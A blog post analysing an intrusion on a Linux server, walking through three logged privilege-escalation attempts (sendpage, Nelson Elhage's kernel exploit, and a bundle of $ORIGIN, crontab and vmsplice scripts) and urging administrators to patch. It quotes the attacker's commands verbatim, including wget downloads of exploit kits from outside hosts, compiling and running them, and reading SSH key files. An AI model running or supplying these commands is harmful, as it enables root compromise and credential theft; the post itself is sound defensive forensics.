Analysis of a Hack (Part 2)

by Bryon D Beilman

In my previous post Analysis of a Hack, I described a few different security issues that we discovered that were interesting and ides for best practices.  The process of doing forensic analysis of a hack sometimes means replicating the steps, software and process that the hacker used to determine what level of success that they had.   We support systems of all types and the industry norm is that people do not trust Microsoft operating systems to be secure or prefer Linux, especially when the servers are exposed to the Internet. I don't necessarily share this point of view and the security of any system really depends on how well it is managed.

A number of years ago, I put my first Exchange Server in and the design was to have a front end OWA/SMTP relay and a back end MS Exchange server.  During the design, I was initially hesitant to use a Microsoft OWA/IIS front end, and was considering using a linux based HTTP/SMTP proxy.   After doing some research, I stuck with the Microsoft solution.  During the course of that deployment, I analyzed and paid particular to the IIS logs, firewall logs etc to see what happened.  In that configuration only https and SMTP were exposed from the Internet.   The thing that surprised me was all of the hack/script kiddie attack attempts were all for php and Linux vulnerabilities and not for IIS or Microsoft vulnerabilities.  We kept the servers patched, protected from viruses and we never had an issue.   This brings me to the current analysis, where all of the security vulnerabilities attempted were for legitimate operating systems vulnerabilities with the Linux kernel or exploits with Linux services. Had they succeeded, they would have had full root privileges on the server.   So on to the analysis.

What the Hacker tried to do:

In order to analyze this , I created a new VM and then took apart the scripts and binaries to try and figure out what they were trying to do.

Looking at the logs  from the previous attack.

Attempt 1:  Redhat Sendpage Vulnerability

wget http://www.kidu.go.ro/r00t.tar ;

tar xvf r00t.tar ;

chmod +x * ; ./r00t ; ls

rm -rf *

ls

cd .ssh

cat k*

ls -al

The r00t.tar consists of

linux-sendpage

This is the meat of the process.  It is a linux ELF binary , so I had to try to run it with a trace and look at is using strings and strace to figure out what it tries to do.   My best estimate is that it tries to write into the memory map (overwrite a buffer) to run /bin/sh as root.  If this works, then the hacker runs port and other utilities to set up more permanent connections as a privileged user.   linux_sendpage refers to trying to manipulate a page in the systems memory.

  port

this is a shell script that copies the sshd_config over to /etc/ssh and restarts the ssh daemon

r00t

A shell script, with fancy colors that runs ./linux-sendpage and reports success or failure

sshd_config

a new sshd_config file that allows root and listens on port 7000

Since my attacker did not try to run port, and the sshd_config remained unchanged, then it is most likely safe to assume that this did not work for them. They also just deleted the code since it didn't work.

More details: http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c

* This exploit makes use of the SELinux and the mmap_min_addr problem to
* exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
* The problem, first noticed by Brad Spengler, was described by Red Hat in
* Red Hat Knowledgebase article: Security-Enhance d Linux (SELinux) policy and
* the mmap_min_addr protection[2].

Reports from users who have been hit with this , see the following in their logs

Jul 26 09:52:56 server01 kernel: Pid: 29267, comm: linux-sendpage Tainted: P D (2.6.25.9-grsec #1)

Jul 26 09:52:56 server01 kernel: Process linux-sendpage (pid: 29267, ti=f26a6000 task=c85f1700 task.ti=f26a6000)

Attempt 2: Nelson

wget www.tux-planet.fr/public/hack/exploits/kernel/nelson.c ; gcc -o nelson nelson.c ; ./nelson

This exploit leverages three vulnerabilities to get root, all of which were  discovered by Nelson Elhage:

Luckily this is C code, and the exploits take advantage of code vulnerabilities in the kernel. This code was actually created to show the vulnerability in the kernels with intentional roadblocks to prevent script kiddies from doing what this person just tried. With a little more knowledge it could have been enhanced to perhaps succeed.

When run (on a system w/out vulnerabilities) it produces

[*] Failed to open file descriptors.

Attempt 3: Dude and others (another Redhat/CentOS 5 vulnerability)

wget http://www.drugs.altervista.org/1.tgz ; tar zxvf 1.tgz ; rm -rf 1.tgz ; cd ivr ; chmod +x * ; ./dude.sh ; ./max.sh ; ./pwn.sh ; ./linux ; ./new ; ./2010

The Files in this tar ball are below

"01  10  2010  ABftw  dude.sh  exploit.conf  linux  max.sh  new  pwn.sh  sloboz10  sux  xcron1.tar.gz"

dude.sh  - this is a shell script. The details of what it tries to do is here http://seclists.org/fulldisclosure/2010/Oct/257

It tries to get root access by taking advantage of a vulnerability in the $ORIGIN sequence in dynamic linking.

max.sh - this tries to take advantage of a vulnerability in crontab.  It checks , then if successful, it tries to manipulate  time  to grant elevated privileges. It may allow you to put your own crontab in root, which could be any script that makes an account with UID 0 or group wheel or any easy way to get root.

pwn.sh  - lame sploit using LD technique  - this sh script actually compiles the program in the script using  info from /proc/net/netlink then tries to elevate privs.

linux - this binary looks similar to linux-sendpage from the earlier attempt

new- binary that uses Linux vmsplice - it also tries to exploit a memory map vulnerability

2010 - appears to try to manipulate the actual /boot/System.map

Summary:

Looking at the vulnerabilities that were attempted to be exploited, it is very clear that keeping your Linux Servers patched is not only prudent and best practices but absolutely necessary.  Just because they are not internet facing does not mean they are protected. The numerous vulnerabilities in unpatched windows machines provided back door tunnels to remote servers, that hackers could then use to push the same code mentioned above to the Linux servers. If you have very sensitive data (ie, Government Secrets, or the formula to Coke), one vulnerability can be exploited to take advantage of another and shortly after , "everyone is making Coca Cola".